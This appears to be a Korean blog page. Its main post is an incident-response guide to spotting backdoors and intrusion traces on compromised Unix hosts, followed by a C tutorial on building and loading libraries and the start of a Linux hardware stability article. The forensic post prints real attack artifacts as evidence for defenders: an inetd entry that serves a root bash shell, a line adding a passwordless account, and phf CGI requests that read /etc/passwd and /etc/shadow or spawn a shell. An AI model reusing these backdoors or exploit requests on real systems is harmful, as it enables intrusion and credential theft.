시스템 관리자 관점에서 분석한 침해사고의 시스템 점검을 통해 얻어지는 결과물에 대해서도 얻을 것이 많지만 경험이 많은 침입자의 경우 일반적으로 로그들은 삭제하고 가는 일이 많기 때문에 해커의 관점에서 시스템 침입시 하는 행동들을 예측하고 그 흔적을 알아내어 시스템이 남기는 정상적인 로그 이외의 해킹 흔적들을 찾아야 한다.

■ 트로이 목마(trojan horse)와 백도어 프로그램 점검
백도어 프로그램이란 일명 뒷구멍이라고 해서 해커들이 임의의 시스템을 해킹한 후 해킹한 시스템에 흔적 없이 다시 들어오려할 때 주로 사용한다. 해커들이 설치하는 프로그램은 원격 접근을 위한 백도어 프로그램 뿐 아니라 내부 사용 흔적을 감추기 위해서, 또는 일반 사용자가 쉽게 관리자(root)가 되기 위해서 기존 프로그램과 이름은 동일하지만 프로그램 내부동작은 침입자의 의도를 만족하는 기능을 갖게 된다.

다음은 실제 해킹을 당한 피해 시스템을 점검하면서 발견된 사례를 보도록 하자.

- .rhosts, /etc/hosts.equiv 백도어 프로그램
[Test: /]ls -ld /etc/hosts/equiv
-rw-r--r-- 1 root 16 Jan 18 1995 /etc/hosts.equiv
==================================================
[Test: /]find / -name, .rhosts -print
/var/spool/uucppublic/.rhosts
/.rhosts


- 백도어로 이용된 서버데몬(inetd 이용)
</etc/service 파일>
................ 생략
ftp 21/tcp
open 22/tcp open
telnet 23/tcp
smtp 25/tcp mail
t................ 생략
</etc/inetd.conf 파일>
#pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d
pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d
#imap stream tcp nowait root /usr/sbin/tcpd imapd
................ 생략
open streamtcp nowaitroot /usr/sbin/tcpd /bin/bash
#finger streamtcp nowait root /usr/sbin/tcpd in.fingerd

- 시스템 분석 시 발겨된 백도어 프로그램 구성 사례
해커들은 백도어 프로그램이 숨겨야 할 정보들을 다음과 같은 구성 파일을 만들어 저장하기도 한다. 물론 이 구성 파일은 관리자나 사용자가 찾기 어려운 위치에 만든다.

[Test: /]ls -l /dev/ttypq
total 136
drwxrwxr-x 2 500 500 512 Jun 25 04:23 ./
drwxrwxr-x 4 root other 512 Jul 7 20:18 ../
-rwxr-xr-x 1 500 500 7809 Jun 25 04:23 .linsniffer*
-rw-r--r-- 1 500 500 393 Jun 25 04:23 ls.
-rw-r--r-- 1 500 500 446 Jun 25 04:23 netstat.
-rw-r--r-- 1 500 500 116 Jun 25 04:23 ps.
-rw-r--r-- 1 500 500 33 Jun 25 04:23 syslog.
-rw-r--r-- 1 500 500 11544 Jun 25 04:23 tcp.log

- ps 명령에서 감추고 싶은 파일들을 등록
[Test: /]more ps.
2 .linsniffer
2 pepsi
2 smurf

- 발견된 트로이 목마 쉘(Trojaned Shell)백도어
rc 파일이나 .cshrc, .profile 파일에 백도어용 코드를 삽입하고, 쉘을 숨겨놓는다.

.............................. 생략
rm -f /dev/fb
ln -s $fbdev /dev/fb
fi
fi

#echo 'ellrewa:*:1000:1::/:/bin/sh' >> /etc/passwd
#echo 'ellrewa:::::: ' >> /etc/shadow

- /etc 디렉토리에 위치한 쉘
[Test: /]ls -ld /etc/csh
-r-xr-xr-x 1 root other 89564 5?y 16@O 23:04 csh
[Test: /]ls -ld /bin/sh
-r-xr-xr-x 3 bin root 89564 19963b 5?y 3@O /bin/sh

■ 백도어 디렉토리 점검
해커들은 자신이 공격한 시스템에 백도어를 유지하거나 새로운 공격을 시도하기 위하여 일반적인 방법으로는 보이지 않는 디렉토리를 생성한다. 숨겨져 있는 디렉토리를 찾이 위해서는 우선 해커들의 손이 닿지 않은 깨끗한 "ls" 프로그램이 필요하다. 숨겨져 있는 디렉토리는 스페이스 문자나 탭키, ... 등 특수키의 혼용으로 일반적인 "ls" 명령으로는 잘 보이지가 않는다.

전체 파일 시스템에 대하여 find 명령을 이용한 스크립트를 작성하여 백도어 디렉토리를 찾는다. 주로 파일 개수가 아주 많거나 사용자가 자주 이용하지 않는 위치에 백도어 디렉토리가 존재한다.
[Test: /]ls /var/spool/at/spool/.h/
exploits pen regs.h~ ts2
ipw.c reg.tgz screen ts2.c
ircbnc.c regq.h~ screen-3.7.4.tar.gz tt
login regr.h~ ssh-1.2.20 web

■ 각종 서버 원격 취약점 점검
호스트에 서버(데몬)로 인하여 해커들은 침입의 발판되므로 모든 서버들에 대하여 해커들의 원격 침입이 있었는지 알기 위해 관리자는 취약성 여부를 확인한 후 해킹 가능성을 추측할 수 있다. 시스템의 messages 로그는 주요 서버들의 접근 흔적을 따로 유지하고 있다.

Jun 27 20:49:29 ns in.telnetd[12918]: connect from xxx.xxx.50.76
Jun 15 03:39:28 ns imapd[14020]: connect from xxx.xxx.94.85
Jun 15 10:15:07 ns in.ftpd[14169]: connect from xxx.xxx.250.76

- <popd/imapd>
Dec 5 11:57:50 www ipop3d[933]: connect from xxx.xxx.124.104
Dev 5 11:57:54 www ipop3d[934]: connect from xxx.xxx.124.104
======================================================================
Jun 22 10:03:07 ns imapd[447]: command from end of file, while reading line user=??? host=dialup187-2-45.xxx.xxx.xxx
Jun 15 15:10:40 ns imapd[14943]: Login failure
user=^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^
P^P host=irv-ca48-32.xxx.xxx.xxx


- <statd>
May 9 07:08:14 hosim statd[191]: attempt to create "/var/statmon/sm//../../../../
./../../../../../../../../../..//../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/.nfs09 D H $ $ $ $
O * * * * # # P * c 6 )
# # ; # XbinXsh firdwr "


- <httpd>
xxx.xxx.xxx.ter.net - - [27/Mar/1998:06:12:08 +0900] "GET /cgi-bin/phf?Qalias=x%0a /bin/cat%20/etc/passwd HTTP/1.0" 200 7360
ppp9.xxx.xxx.xxx - - [04/May/1998:04:17:38 +0900] "GET /cgi-bin/phf?Qalias=x%0a
/bin/cat%20/etc/shadow HTTP/1.0" 200 92
mahler.xxx.xxx.xxx - - [07/Jun/1998:21:55:11 +0900] "POST /cgi-bin/phf?Qname=x%0
/bin/sh+-s%0a HTTP/1.0" 200 175
m06-024.xxx.xxx.xxx - - [08?Jun/1998:09:18:14 +0900] "POST /cgi-bin/phf?Qname=x%0a
/bin/sh+-s%0a HTTP/1.0" 200 82

"Security" 카테고리의 다른 글
  • Foundstone Free Tools (0)2009/01/21
  • Unix/Linux 해킹 피해 시스템 분석 절차 (0)2007/07/06
  • 원격 네트워크 로그인의 중앙화와 보안 (0)2007/05/10
  • SQL Injection Attacks by Example (0)2007/04/30
  • 해킹 관련 용어 II (0)2007/01/12
2007/07/06 17:50 2007/07/06 17:50
Posted by webdizen
Tags hacking, Linux, log, Unix, 로그, 시스템 공격, 시스템 분석, 해킹
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/3064

Leave your greetings.

[로그인][오픈아이디란?]

Programming/UNIX/Linux C2007/06/09 12:37

Linux 에서 malloc 으로 할당된 memory 크기를 알수 있는 방법

출처 : http://minzkn.wowdns.com:2744/tattertools/48

리눅스에서 malloc 으로 할당한 총 메모리 크기를 알수 있는 방법이 있는데
아직 모르시는 분들을 위해서 끄적끄적 적어봅니다.

물론 hook 을 통해서도 할수 있고 mcheck 를 통해서도 방법이 있는데
아래의 방법이 매우 편한것 같네요.

설명은 다 생략하고 예제 한번 보여드립니다.

"UNIX/Linux C" 카테고리의 다른 글
  • Linux 에서 malloc 으로 할당된 memory 크기를 알... (0)2007/06/09
  • 유저 정보 가져오기 (0)2007/05/14
  • Unix 시간 조작하기 (0)2007/05/14
  • file 정보(stat) 와 종류 알아내기 (0)2007/05/14
  • utmp 를 이용한 사용자 로그인정보 관리 (0)2007/05/14
2007/06/09 12:37 2007/06/09 12:37
Posted by webdizen
Tags Linux, malloc, memory 크기
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/3041

Leave your greetings.

[로그인][오픈아이디란?]

Programming/UNIX/Linux C2007/05/14 17:07

library 의 사용

이번기사는 유닉스 시스템 상에서 라이브러리를 만들고 사용하는 방법에 대한 내용을 담고 있습니다. 솔라리스와 리눅스 상에서 테스트되었으며, 정적라이브러리, 공유라이브러리, 동적 라이브러리를 제작하고 이를 프로그래밍에 응용하는 방법도 제시하고 있습니다.


1절. 소개
2절. Library 이야기
2.1절. 라이브러리란 무엇인가
2.2절. 라이브러리의 종류
2.2.1절. 왜 정적라이브러리의 사용을 지양하는가
3절. 라이브러리 만들고 사용하기
3.1절. 라이브러리화 할 코드
3.2절. 정적라이브러리 제작
3.3절. 공유라이브러리 제작 / 사용
3.4절. 동적라이브러리의 사용
3.5절. 동적라이브러리를 사용하여 프로그램의 확장성과 유연성을 높이기
3.5.1절. 동적라이브러리를 이용한 예제
4절. 결론

--------------------------------------------------------------------------------

1절. 소개
이 문서는 library 의 사용방법에 대한 내용을 담고 있다. 왜 라이브러리가 필요한지, 라이브러리는 어떤 종류가 있으며, 어떻게 작성할수 있는지, 그리고 어떻게 사용하는지에 대해서 얘기하도록 할것이다. 그리고 중간중간에 이해를 돕기 위한 실제 코딩역시 들어갈 것이다.

라이브러리에 대한 이러저러한 세부적인 내용까지 다루진 않을것이다. 좀더 이론적인 내용을 필요로 한다면 Program Library HOWTO 를 참고하기 바란다. 이 문서에서는 라이브러리를 만들고 활용하는 면에 중점을 둘것이다. 그러므로 위의 문서는 이문서를 읽기전에 대충이라도 한번 읽어보도록 한다.

정적 라이브러리와 공유라이브러리는 일반적인 내용임으로 간단한 설명과 일반적인 예제를 드는 정도로 넘어갈 것이다. 그러나 동적라이브러리에 대해서는 몇가지 다루어야할 이슈들이 있음으로 다른 것들에 비해서 좀더 비중있게 다루게 될것이다.


--------------------------------------------------------------------------------

2절. Library 이야기
2.1절. 라이브러리란 무엇인가
라이브러리란 특정한 코드(함수 혹은 클래스)를 포함하고 있는 컴파일된 파일이다. 이러한 라이브러리를 만드는 이유는 자주 사용되는 특정한 기능을 main 함수에서 분리시켜 놓음으로써, 프로그램을 유지, 디버깅을 쉽게하고 컴파일 시간을 좀더 빠르게 할수 있기 때문이다.

만약 라이브러리를 만들지 않고 모든 함수를 main 에 집어 넣는다면, 수정할때 마다 main 코드를 수정해야 하고 다시 컴파일 해야 할것이다. 당연히 수정하기도 어렵고 컴파일에도 많은 시간이 걸린다.

반면 라이브러리화 해두면 우리는 해당 라이브러리만 다시 컴파일 시켜서 main 함수와 링크 시켜주면 된다. 시간도 아낄뿐더러 수정하기도 매우 쉽다.


--------------------------------------------------------------------------------

2.2절. 라이브러리의 종류
라이브러리에도 그 쓰임새에 따라서 여러가지 종류가 있다(크게 3가지). 가장 흔하게 쓰일수 있는 "정적라이브러리"와 "공유라이브러리", "동적라이브러리" 가 있다.

이들 라이브러리가 서로 구분되어지는 특징은 적재 시간이 될것이다.


정적라이브러리
정적라이브러리는 object file(.o로 끝나는) 의 단순한 모음이다. 정적라이브러린느 보통 .a 의 확장자를 가진다. 간단히 사용할수 있다. 컴파일시 적재되므로 유연성이 떨어진다. 최근에는 정적라이브러리는 지양되고 있는 추세이다. 컴파일시 적재되므로 아무래도 바이너리크기가 약간 커지는 문제가 있을것이다.

공유라이브러리
공유라이브러리는 프로그램이 시작될때 적재된다. 만약 하나의 프로그램이 실행되어서 공유라이브러리를 사용했다면, 그뒤에 공유라이브러리를 사용하는 모든 프로그램은 자동적으로 만들어져 있는 공유라이브러리를 사용하게 된다. 그럼으로써 우리는 좀더 유연한 프로그램을 만들수 잇게 된다.

정적라이브러리와 달리 라이브러리가 컴파일시 적재되지 않으므로 프로그램의 사이즈 자체는 작아지지만 이론상으로 봤을때, 라이브러리를 적재하는 시간이 필요할것이므로 정적라이브러리를 사용한 프로그램보다는 1-5% 정도 느려질수 있다. 하지만 보통은 이러한 느림을 느낄수는 없을것이다.

동적라이브러리
공유라이브러리가 프로그램이 시작될때 적재되는 반면 이것은 프로그램시작중 특정한때에 적재되는 라이브러리이다. 플러그인 모듈등을 구현할때 적합하다. 설정파일등에 읽어들인 라이브러리를 등록시키고 원하는 라이브러리를 실행시키게 하는등의 매우 유연하게 작동하는 프로그램을 만들고자 할때 유용하다.




--------------------------------------------------------------------------------

2.2.1절. 왜 정적라이브러리의 사용을 지양하는가
예전에 libz 라는 라이브러리에 보안 문제가 생겨서 한창 시끄러웠던적이 있다. libz 라이브러리는 각종 서버프로그램에 매우 널리 사용되는 라이브러리였는데, 실제 문제가 되었던 이유는 많은 libz 를 사용하는 프로그램들이 "정적라이브러리" 형식으로 라이브러리를 사용했기 때문에, 버그픽스(bug fix)를 위해서는 문제가 되는 libz 를 사용하는 프로그램들을 다시 컴파일 시켜야 했기 때문이다. 한마디로 버그픽스 자체가 어려웠던게 큰 문제였었다. 도대체 이 프로그램들이 libz 를 사용하고 있는지 그렇지 않은지를 완전하게 알기도 힘들뿐더러, 언제 그많은 프로그램을 다시 컴파일 한단 말인가.

만약 libz 를 정적으로 사용하지 않고 "공유라이브러리" 형태로 사용한다면 bug fix 가 훨씬 쉬웠을것이다. 왜냐면 libz 공유라이브러리는 하나만 있을 것이므로 이것만 업그레이드 시켜주면 되기 때문이다.

아뭏든 이렇게 유연성이 지나치게 떨어진다는 측면이 정적라이브러리를 사용하지 않는 가장 큰 이유가 될것이다. 프로그램들의 덩치가 커지는 문제는 유연성 문제에 비하면 그리큰문제가 되지는 않을것이다.


--------------------------------------------------------------------------------

3절. 라이브러리 만들고 사용하기
이번장에서는 실제로 라이브러리를 만들고 사용하는 방법에 대해서 각 라이브러리 종류별로 알아볼 것이다.


--------------------------------------------------------------------------------

3.1절. 라이브러리화 할 코드
라이브러리의 이름은 libmysum 이 될것이며, 여기에는 2개의 함수가 들어갈 것이다. 하나는 덧셈을 할 함수로 "ysum" 또 하나는 뺄셈을 위한 함수로 "ydiff" 으로 할것이다. 이 라이브러리를 만들기 위해서 mysum.h 와 mysum.c 2개의 파일이 만들어질것이다.





--------------------------------------------------------------------------------

3.2절. 정적라이브러리 제작
정적라이브러리는 위에서 말했듯이 단순히 오브젝트(.o)들의 모임이다. 오브젝트를 만든다음에 ar 이라는 명령을 이용해서 라이브러리 아카이브를 만들면 된다.

[root@localhost test]# gcc -c mysum.c
[root@localhost test]# ar rc libmysum.a mysum.o
                       

아주아주 간단하다. 단지 ar 에 몇가지 옵션만을 이용해서 libmysum 이란 라이 브러리를 만들었다. 'r' 은 libmysum.a 라는 라이브러리 아카이브에 새로운 오브젝트를 추가할것이라는 옵션이다. 'c' 는 아카이브가 존재하지 않을경우 생성하라는 옵션이다.

이제 라이브러리가 실제로 사용가능한지 테스트해보도록 하자.

예제 : print_sum.c




위의 프로그램을 컴파일 하기 위해서는 라이브러리의 위치와 어떤 라이브러리를 사용할것인지를 알려줘야 한다. 라이브러리의 위치는 '-L' 옵션을 이용해서 알려줄수 있으며, '-l' 옵션을 이용해서 어떤 라이브러리를 사용할것인지를 알려줄수 있다. -l 뒤에 사용될 라이브러리 이름은 라이브러리의 이름에서 "lib"와 확장자 "a"를 제외한 나머지 이름이다. 즉 libmysum.a 를 사용할 것이라면 "-lmysum" 이 될것이다.
[root@localhost test]# gcc -o print_sum print_num.c -L./ -lmysum
                       

만약 우리가 사용할 라이브러리가 표준 라이브러리 디렉토리경로에 있다면 -L 을 사용하지 않아도 된다. 표준라이브러리 디렉토리 경로는 /etc/ld.so.conf 에 명시되어 있다.

정적라이브러리 상태로 컴파일한 프로그램의 경우 컴파일시에 라이브러리가 포함되므로 라이브러리를 함께 배포할 필요는 없다.


--------------------------------------------------------------------------------

3.3절. 공유라이브러리 제작 / 사용
print_sum.c 가 컴파일되기 위해서 사용할 라이브러리 형태가 정적라이브러리에서 공유라이브러리로 바뀌였다고 해서 print_sum.c 의 코드가 변경되는건 아니다. 컴파일 방법역시 동일하며 단지 라이브러리 제작방법에 있어서만 차이가 날뿐이다.

이제 위의 mysum.c 를 공유라이브러리 형태로 만들어보자. 공유라이브러리는 보통 .so 의 확장자를 가진다. [root@localhost test]# gcc -fPIC -c mysum.c
[root@localhost test]# gcc -shared -W1,-soname,libmysutff.so.1 -o libmysum.so.1.0.1 mysum.o
[root@localhost test]# cp libmysum.so.1.0.1 /usr/local/lib
[root@localhost test]# ln -s /usr/local/lib/libmysum.so.1.0.1 /usr/local/lib/libmysum.so
                       

우선 mysum.c 를 -fPIC 옵션을 주어서 오브젝트 파일을 만들고, 다시 gcc 를 이용해서 공유라이브러리를 제작한다. 만들어진 라이브러리를 적당한 위치로 옮기고 나서 ln 을 이용해서 컴파일러에서 인식할수 있는 이름으로 심볼릭 링크를 걸어준다.

컴파일 방법은 정적라이브러리를 이용한 코드의 컴파일 방법과 동일하다.
[root@coco test]# gcc -o print_sum print_sum.c -L/usr/local/lib -lmysum
                       



공유라이브러리는 실행시에 라이브러리를 적재함으로 프로그램을 배포할때는 공유라이브러리도 함께 배포되어야 한다. 그렇지 않을경우 다음과 같이 공유라이브러리를 찾을수 없다는 메시지를 출력하면서 프로그램 실행이 중단될 것이다.
[root@coco library]# ./print_sum
./print_sum: error while loading shared libraries: libmysub.so: cannot open shared object file: No such file or directory
                       

위와 같은 오류메시지를 발견했다면 libmysub.so 가 시스템에 존재하는지 확인해 보자. 만약 존재하는데도 위와 같은 오류가 발생한다면 이는 LD_LIBRARY_PATH 나 /etc/ld.so.conf 에 라이브러리 패스가 지정되어 있지 않을 경우이다. 이럴때는 LD_LIBRARY_PATH 환경변수에 libmysub.so 가 있는 디렉토리를 명시해주거나, /etc/ld.so.conf 에 디렉토리를 추가시켜주면 된다.

만약 libmysub.so 가 /usr/my/lib 에 복사되어 있고 환경변수를 통해서 라이브러리의 위치를 알려주고자 할때는 아래와 같이 하면된다.
[root@localhost test]# export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/my/lib
                       

그렇지 않고 ld.so.conf 파일을 변경하길 원한다면(이럴경우 관리자 권한을 가지고 있어야 할것이다) ld.so.conf 에 라이브러리 디렉토리를 추가하고 ldconfig 를 한번 실행시켜주면 된다.
[root@localhost test]# cat /usr/my/lib >> /etc/ld.so.conf
[root@localhost test]# ldconfig
                       

ldconfig 를 실행시키게 되면 /etc/ld.so.conf 의 파일을 참조하여서 /etc/ld.so.cache 파일이 만들어지고, 프로그램은 ld.so.cache 의 디렉토리 경로에서 해당 라이브러리가 있는지 찾게 된다.


--------------------------------------------------------------------------------

3.4절. 동적라이브러리의 사용
동적라이브러리라고 해서 동적라이브러리를 만들기 위한 어떤 특별한 방법이 있는것은 아니다. 일반 공유라이브러리를 그대로 쓰며, 단지 실행시간에 동적라이브러리를 호출하기 위한 방법상의 차이만 존재할 뿐이다.

정적/공유 라이브러리가 라이브러리의 생성방법과 컴파일방법에 약간의 차이만 있고 코드는 동일하게 사용되었던것과는 달리 동적라이브러리는 코드자체에 차이가 있다. 그럴수밖에 없는게, 동적라이브러리는 프로그램이 샐행되는 중에 특정한 시점에서 부르고 싶을때 라이브러리를 적재해야 하므로, 라이브러리를 적재하고, 사용하고 해제(free) 하기 위한 코드를 생성해야 하기 때문이다.

linux 에서는 이러한 라이브러리를 호출하기 위한 아래와 같은 함수들을 제공한다. 아래의 함수들은 solaris 에서 동일하게 사용될수 있다.


dlopen 은 동적라이브러리를 적재하기 위해서 사용된다. 첫번째 아규먼트인 filename 은 /usr/my/lib/libmysum.so 와 같이 적재하기 원하는 라이브러리의 이름이다. 만약 적재시킬 라이브러리의 이름이 절대경로로 지정되어 있지 않을경우에는 LD_LIBRARY_PATH 에 등록된 디렉토리에서 찾고, 여기에서도 찾지 못할경우 /etc/ld.so.cache 에 등록된 디렉토리 리스트에서 찾게 된다. dlopen 이 성공적으로 호출되면 해당 라이브러리에 대한 handle 값을 넘겨 준다. flag 는 RTLD_LAZY와 RTLD_NOW 중 하나를 정의할수 있다. RTLD_LAZY는 라이브러리의 코드가 실행시간에 정의되지 않은 심볼을 해결하며, RTLD_NOW 는 dlopen 의 실행이 끝나기전에(return 전에) 라이브러리에 정의되지 않은 심볼을 해결한다.

dlerror 는 dl 관련함수들이 제대로 작동을 수행하지 않았을경우 에러메시지를 되돌려준다. dleooro(), dlsym(), dlclose(), dlopen()중 마지막 호출된 함수의 에러메시지를 되돌려준다.

dlsym 은 dlopen 을 통해서 열린라이브러리를 사용할수 있도록 심볼값을 찾아준다. 심볼이라고 하면 좀 애매한데, 심볼값은 즉 열린라이브러리에서 여러분이 실제로 호출할 함수의이름이라고 생각하면 된다. handle 는 dlopen 에 의해서 반환된 값이다. symbol 은 열린라이브러리에서 여러분이 실제로 부르게될 함수의 이름이다. dlsym 의 리턴값은 dlopen 으로 열린 라이브러리의 호출함수를 가르키게 된다. 리턴값을 보면 void * 형으로 되어 있는데, void 형을 사용하지 말고 호출함수가 리턴하는 형을 직접명시하도록 하자. 이렇게 함으로써 나중에 프로그램을 유지보수가 좀더 수월해진다.


--------------------------------------------------------------------------------

3.5절. 동적라이브러리를 사용하여 프로그램의 확장성과 유연성을 높이기
동적라이브러리는 실행시간에 필요한 라이브러리를 호출할수 있음으로 조금만(사실은 아주 많이겠지만 T.T) 신경쓴다면 매우 확장성높고 유연한 프로그램을 만들수 있다.

동적라이브러리의 가장 대표적인 예가 아마도 Plug-in 이 아닐까 싶다. 만약에 모질라 브라우저가 plug-in 을 지원하지 않는 다면 우리는 새로운 기능들 이 추가될때 마다 브라우저를 다시 코딩하고 컴파일하는 수고를 해야할것이다. 그러나 동적라이브러리를 사용하면 브라우저를 다시 코딩하고 컴파일 할필요 없이, 해당 기능을 지원하는 라이브러리 파일만 받아서 특정 디렉토리에 설치하기만 하면 될것이다. 물론 동적라이브러리를 사용하기만 한다고 해서 이러한 기능이 바로 구현되는 건 아니다. Plug-in 의 효율적인 구성을 위한 표준화된 API를 제공하고 여기에 맞게 Plug-in 용 라이브러리를 제작해야만 할것이다.

우리가 지금까지 얘로든 프로그램을 보면 현재 '+', '-' 연산을 지원하고 있는데, 만약 'x', '/' 연산을 지원하는 라이브러리가 만들어졌다면, 우리는 프로그램의 코딩을 다시해야만 할것이다. 이번에는 동적라이브러리를 이용해서 plug-in 방식의 확장이 가능하도록 프로그램을 다시 만들어 보도록 할것이다.


--------------------------------------------------------------------------------

3.5.1절. 동적라이브러리를 이용한 예제
동적라이브러리를 이용해서 main 프로그램의 재코딩 없이 추가되는 새로운 기능을 추가시키기 위해서는 통일된 인터페이스를 지니는 특정한 형식을 가지도록 라이브러리가 작성되어야 하며, 설정파일을 통하여서 어떤 라이브러리가 불리어져야 하는지에 대한 정보를 읽어들일수 있어야 한다. 그래서 어떤 기능을 추가시키고자 한다면 특정 형식에 맞도록 라이브러리를 제작하고, 설정파일을 변경하는 정도로 만들어진 새로운 라이브러리의 기능을 이용할수 있어야 한다.

설정파일은 다음과 같은 형식으로 만들어진다. 설정파일의 이름은 plugin.cfg 라고 정했다. +,ysum,libmysum.so
-,ydiff,libmysum.so
                               

'-' 연산에대해서는 libmysum.so 라이브러리를 호출하며, ydiff 함수를 사용한다. '=' 연산에 대해서는 libmysum.so 라이브러리를 호출하고 ysum 함수를 사용한다는 뜻이다. 설정파일의 이름은 plugin.cfg 로 하기로 하겠다.

다음은 동적라이브러리로 만들어진 print_sum 의 새로운 버젼이다.

예제 : print_sum_dl.c

                               

위의 예제 프로그램은 다음과 같이 컴파일되어야 한다. 라이브러리 파일의 위치는 /usr/my/lib 아래에 있는것으로 하며, 라이브러리 찾기 경로에 등록되어 있다고 가정하겠다.
[root@localhost test]# gcc -o print_sum_dl print_sum_dl.c -ldl
                               

이 프로그램을 실행하면 사용자의 입력을 기다리는 "> "가 뜨게 되고, 여기에 계산하기 원하는 값을 입력하면 된다. 현재는 '+'와 '-' 연산만을 지원하며, 연산자와 피연산자들 간에 간격이 없어야 한다. 다음은 실행결과 화면이다.  
[root@localhost test]# ./print_sum_dl
> 99+99
my operator is      : +
my call function is : ysum
99 + 99 = 198
[root@localhost test]#
                               

사용자가 프로그램을 실행하면 프로그램은 사용자의 입력을 받아들이고 sscanf 를 이용해서 연산자와 피연산자를 구분하게 된다. 그리고 피연산자를 값으로 하여, 설정파일에 설정된 라이브러리를 불러들이고(dlopen) 해당 함수를 가져와서(dlsym) 실행시키게 된다.

자 이렇게 해서 우리는 '+', '-' 연산이 가능한 프로그램을 하나 만들게 되었다. 그런데 A 라는 개발자가 '*','/' 연산도 있으면 좋겠다고 생각해서 아래와 같은 코드를 가지는 '*', '/' 연산을 위한 라이브러리를 제작하였다.

예제 : mymulti.h

                               

예제 : mymulti.c



A 라는 개발자는 이것을 다음과 같이 공유라이브러리 형태로 만들어서 간단한 라이브러리의 설명과 함께 email 로 전송했다.
[root@localhost test]# gcc -c -fPIC mymulti.c
[root@localhost test]# gcc -shared -W1,-soname,libmymulti.so.1 -o libmymulti.so.1.0.1 mymulti.o
                               



라이브러리를 받았으므로 새로운 라이브러리가 제대로 작동을 하는지 확인을 해보도록 하자. 우선 libmymulti.so.1.0.1 을 /usr/my/lib 로 복사하도록 하자. 그다음 설정파일에 다음과 같은 내용을 가지도록 변경 시키도록 하자.  
+,ysum,libmystuff.so
-,ydiff,libmystuff.so
*,ymulti,libmymulti.so.1.0.1
/,ydiv,libmymulti.so.1.0.1
                               

이제 print_sum_dl 을 실행시켜보자.
[root@localhost test]# ./print_sum_dl
> 10*10
my operator is      : *
my call function is : ymulti
10 * 10 = 100

[root@localhost test]# ./print_sum_dl
> 10/10
my operator is      : /
my call function is : ydiv
10 / 10 = 1
                               

print_sum_dl.c 의 원본파일의 아무런 수정없이 단지 설정파일만 변경시켜 줌으로써 기존의 print_sum_dl 에 "곱하기"와 "나누기"의 새로운 기능이 추가 되었다.

위에서도 말했듯이 이러한 Plug-in 비슷한 기능을 구현하기 위해서는 통일된 함수 API가 제공될수 있어야 한다.


--------------------------------------------------------------------------------

4절. 결론
여기에 있는 내용중 동적라이브러리에 대한 내용은 솔라리스와 리눅스에서만 동일하게 사용할수 있다. Hp-Ux 혹은 윈도우에서는 사용가능하지 않는 방법이다. 이에 대한 몇가지 해법이 존재하는데, 이 내용은 나중에 시간이 되면 다루도록 하겠다. 어쨋든 솔라리스와 리눅스 상에서 코딩되고 윈도우 혹은 다른 유닉스로 포팅될 프로그램이 아니라면 위의 방법을 사용하는데 있어서 문제가 없을것이다.




출처 : http://joinc.co.kr/modules.php?name=new ··· 3Dnested
"UNIX/Linux C" 카테고리의 다른 글
  • file 정보(stat) 와 종류 알아내기 (0)2007/05/14
  • utmp 를 이용한 사용자 로그인정보 관리 (0)2007/05/14
  • library 의 사용 (0)2007/05/14
  • PIPE 응용 (0)2007/05/14
  • 데이타와 포인터 (0)2007/05/14
2007/05/14 17:07 2007/05/14 17:07
Posted by webdizen
Tags Library, Linux, Solaris, Unix
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2943

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/System2007/05/04 14:45

Linux 하드웨어 안정성 가이드, Part 2

드라이버, IRQ, PCI 레이턴시(latency)

Daniel Robbins
President/CEO, Gentoo Technologies, Inc.
2001년 7월

Linux가 명성을 얻는데에는 안정성이 큰 기여를 했다. 하지만, 세상에서 가장 안정적인 OS라도 하드웨어에 결함이 있거나 설정이 잘못되었다면 아무런 소용이 없을 것이다. NVIDIA의 드라이버를 사용하여 Linux에서 NVIDIA TNT 그래픽 카드를 실행했었던 필자(Daniel Robbins)의 경험을 이야기한다. IRQ와 PCI latency 타이머 문제를 진단하고 픽스하는 방법을 설명한다.
불안정성의 원인들
안정성 문제는 불완전한 하드웨어 때문에 발생하는 것만은 아니다. 주로 적절하지 못한 하드웨어 설정이나 미약한 드라이버 때문에 문제가 발생한다.

NVIDIA에는 Linux용 디스플레이 드라이버가 있다. 이러한 드라이버들은 Xfree86 4.0에 포함된 표준 2d-only NVIDIA 드라이버 보다 많은 장점을 가지고 있다. 그 중 하나는 3D 지원이 강화되었다는 점이다. 게다가 Mesa의 강화 버전이라기 보다는 공식적인 OpenGL 1.2 구현이라는 특징이 있다. 이러한 NVIDIA기반의 그래픽 카드를 가지고 있다면 강화된 드라이버를 사용하고 싶을 것이다. 적어도 이론상으로는 그렇다. 그들을 적절하게 작동시키려는 시도를 통해 많은 것을 배웠다.

Linux NVIDIA 드라이버를 설치하고 나서(참고자료), Xfree86를 시작했고 모든 3D 애플리케이션 구동을 시작했다. 지금은 매우 훌륭히 작동한다. 그 이전까지 나는 3D acceleration을 이용하기 위해 Windows NT를 재부팅 해야만 했다. 지금 NT는 신경쓰지 않는다. 3D 애플리케이션을 사용하기위해 재부팅 하는 것은 다소 성가신 일이였지만 Linux를 남겨놓아 머신을 재부팅한다. 하지만 한시간 정도 만지작거리면 Linux 3D aspiration에 치명적인 퇴보를 경험한다. 머신이 잠긴다. 마우스가 멈추고 스크린은 얼어붙었다. 시스템을 재부팅해야 했다.

사실 몇 가지 종류의 안정성 문제가 있었다. 하지만 무엇이 문제를 일으키는지 정확히 몰랐다. 안정적이지 않은 하드웨어 탓인지 카드가 잘못 설정 되어서 그런지 확실하지 않았다. 어쩌면 드라이버와 관련된 문제일지도 모른다. 또는 VIA KT133 기반의 Athlon 마더보드 때문인지도 모른다. 문제가 어떤것이든 간에 빨리 해결하고 싶었다. 이 글에서 나는 하드웨어 안정성 문제를 해결했던 과정을 설명하겠다. 나와 똑 같은 문제를 가지고 있지 않더라도, 문제를 진단하고 픽스하는 과정들은 본질적으로 Linux 하드웨어의 다른 문제 유형에도 적용할 수 있으리라 생각한다.

하드웨어 점검
